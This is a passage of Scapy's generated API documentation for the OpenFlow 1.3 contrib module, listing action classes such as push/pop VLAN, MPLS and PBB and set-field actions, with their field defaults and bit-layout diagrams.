class scapy.contrib.openflow3.OFPATPopPBBID(_pkt, /, *, type=27, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1234-L1237]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATPopPBBID                        


OFPATPopPBBID fields






	type

	ShortEnumField

	27



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATPopVLAN(_pkt, /, *, type=18, len=8, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L912-L916]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATPopVLAN                         


OFPATPopVLAN fields






	type

	ShortEnumField

	18



	len

	ShortField

	8



	pad

	XIntField

	0















	
class scapy.contrib.openflow3.OFPATPopVLANID(_pkt, /, *, type=18, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1180-L1183]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATPopVLANID                        


OFPATPopVLANID fields






	type

	ShortEnumField

	18



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATPushMPLS(_pkt, /, *, type=19, len=8, ethertype=34887, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L919-L924]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ETHERTYPE           |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATPushMPLS                        


OFPATPushMPLS fields






	type

	ShortEnumField

	19



	len

	ShortField

	8



	ethertype

	ShortField

	34887



	pad

	XShortField

	0















	
class scapy.contrib.openflow3.OFPATPushMPLSID(_pkt, /, *, type=19, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1186-L1189]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATPushMPLSID                       


OFPATPushMPLSID fields






	type

	ShortEnumField

	19



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATPushPBB(_pkt, /, *, type=26, len=8, ethertype=35047, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L992-L997]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ETHERTYPE           |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATPushPBB                         


OFPATPushPBB fields






	type

	ShortEnumField

	26



	len

	ShortField

	8



	ethertype

	ShortField

	35047



	pad

	XShortField

	0















	
class scapy.contrib.openflow3.OFPATPushPBBID(_pkt, /, *, type=26, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1228-L1231]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATPushPBBID                        


OFPATPushPBBID fields






	type

	ShortEnumField

	26



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATPushVLAN(_pkt, /, *, type=17, len=8, ethertype=33024, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L904-L909]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ETHERTYPE           |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATPushVLAN                        


OFPATPushVLAN fields






	type

	ShortEnumField

	17



	len

	ShortField

	8



	ethertype

	ShortField

	33024



	pad

	XShortField

	0















	
class scapy.contrib.openflow3.OFPATPushVLANID(_pkt, /, *, type=17, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1174-L1177]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATPushVLANID                       


OFPATPushVLANID fields






	type

	ShortEnumField

	17



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATSetDlDst(_pkt, /, *, type=5, len=16, dl_addr='0', pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L804-L809]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DL ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetDlDst                        


OFPATSetDlDst fields






	type

	ShortEnumField

	5



	len

	ShortField

	16



	dl_addr

	MACField

	'0'



	pad

	XBitField  (48 bits)

	0















	
class scapy.contrib.openflow3.OFPATSetDlDstID(_pkt, /, *, type=5, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1095-L1098]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATSetDlDstID                       


OFPATSetDlDstID fields






	type

	ShortEnumField

	5



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATSetDlSrc(_pkt, /, *, type=4, len=16, dl_addr='0', pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L796-L801]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DL ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetDlSrc                        


OFPATSetDlSrc fields






	type

	ShortEnumField

	4



	len

	ShortField

	16



	dl_addr

	MACField

	'0'



	pad

	XBitField  (48 bits)

	0















	
class scapy.contrib.openflow3.OFPATSetDlSrcID(_pkt, /, *, type=4, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1089-L1092]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATSetDlSrcID                       


OFPATSetDlSrcID fields






	type

	ShortEnumField

	4



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATSetField(_pkt, /, *, type=25, len=None, field=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L964-L989]

	Bases: OFPAT


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L988-L989]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FIELD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetField                        


OFPATSetField fields






	type

	ShortEnumField

	25



	len

	ShortField

	None



	field

	OXMPacketListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L974-L986]

	








	
class scapy.contrib.openflow3.OFPATSetFieldID(_pkt, /, *, type=25, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1222-L1225]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATSetFieldID                       


OFPATSetFieldID fields






	type

	ShortEnumField

	25



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATSetMPLSLabel(_pkt, /, *, type=13, len=8, mpls_label=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L858-L862]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MPLS LABEL                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPATSetMPLSLabel                      


OFPATSetMPLSLabel fields






	type

	ShortEnumField

	13



	len

	ShortField

	8



	mpls_label

	IntField

	0















	
class scapy.contrib.openflow3.OFPATSetMPLSLabelID(_pkt, /, *, type=13, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1136-L1139]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPATSetMPLSLabelID                     


OFPATSetMPLSLabelID fields






	type

	ShortEnumField

	13



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATSetMPLSTC(_pkt, /, *, type=14, len=8, mpls_tc=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L865-L870]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MPLS TC    |                      PAD                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. OFPATSetMPLSTC                        


OFPATSetMPLSTC fields






	type

	ShortEnumField

	14



	len

	ShortField

	8



	mpls_tc

	ByteField

	0



	pad

	X3BytesField

	0















	
class scapy.contrib.openflow3.OFPATSetMPLSTCID(_pkt, /, *, type=14, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1142-L1145]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPATSetMPLSTCID                       


OFPATSetMPLSTCID fields






	type

	ShortEnumField

	14



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATSetMPLSTTL(_pkt, /, *, type=15, len=8, mpls_ttl=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L889-L894]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MPLS TTL   |                      PAD                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. OFPATSetMPLSTTL                       


OFPATSetMPLSTTL fields






	type

	ShortEnumField

	15



	len

	ShortField

	8



	mpls_ttl

	ByteField

	0



	pad

	X3BytesField

	0















	
class scapy.contrib.openflow3.OFPATSetMPLSTTLID(_pkt, /, *, type=15, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1162-L1165]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPATSetMPLSTTLID                      


OFPATSetMPLSTTLID fields






	type

	ShortEnumField

	15



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATSetNwDst(_pkt, /, *, type=7, len=8, nw_addr='0')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L819-L823]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NW ADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetNwDst                        


OFPATSetNwDst fields






	type

	ShortEnumField

	7



	len

	ShortField

	8



	nw_addr

	IPField

	'0'















	
class scapy.contrib.openflow3.OFPATSetNwDstID(_pkt, /, *, type=7, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1107-L1110]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATSetNwDstID                       


OFPATSetNwDstID fields






	type

	ShortEnumField

	7



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATSetNwSrc(_pkt, /, *, type=6, len=8, nw_addr='0')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L812-L816]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NW ADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetNwSrc                        


OFPATSetNwSrc fields






	type

	ShortEnumField

	6



	len

	ShortField

	8



	nw_addr

	IPField

	'0'















	
class scapy.contrib.openflow3.OFPATSetNwSrcID(_pkt, /, *, type=6, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1101-L1104]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATSetNwSrcID                       


OFPATSetNwSrcID fields






	type

	ShortEnumField

	6



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATSetNwTTL(_pkt, /, *, type=23, len=8, nw_ttl=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L949-L954]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     NW TTL    |                      PAD                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetNwTTL                        


OFPATSetNwTTL fields






	type

	ShortEnumField

	23



	len

	ShortField

	8



	nw_ttl

	ByteField

	0



	pad

	X3BytesField

	0















	
class scapy.contrib.openflow3.OFPATSetNwTTLID(_pkt, /, *, type=23, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1210-L1213]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATSetNwTTLID                       


OFPATSetNwTTLID fields






	type

	ShortEnumField

	23



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATSetNwToS(_pkt, /, *, type=8, len=8, nw_tos=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L826-L831]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     NW TOS    |                      PAD                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetNwToS                        


OFPATSetNwToS fields






	type

	ShortEnumField

	8



	len

	ShortField

	8



	nw_tos

	ByteField

	0



	pad

	X3BytesField

	0















	
class scapy.contrib.openflow3.OFPATSetNwToSID(_pkt, /, *, type=8, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1113-L1116]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATSetNwToSID                       


OFPATSetNwToSID fields






	type

	ShortEnumField

	8



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATSetQueue(_pkt, /, *, type=21, len=8, queue_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L935-L939]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            QUEUE ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetQueue                        


OFPATSetQueue fields






	type

	ShortEnumField

	21



	len

	ShortField

	8



	queue_id

	IntEnumField

	0















	
class scapy.contrib.openflow3.OFPATSetQueueID(_pkt, /, *, type=21, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1198-L1201]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATSetQueueID                       


OFPATSetQueueID fields






	type

	ShortEnumField

	21



	len

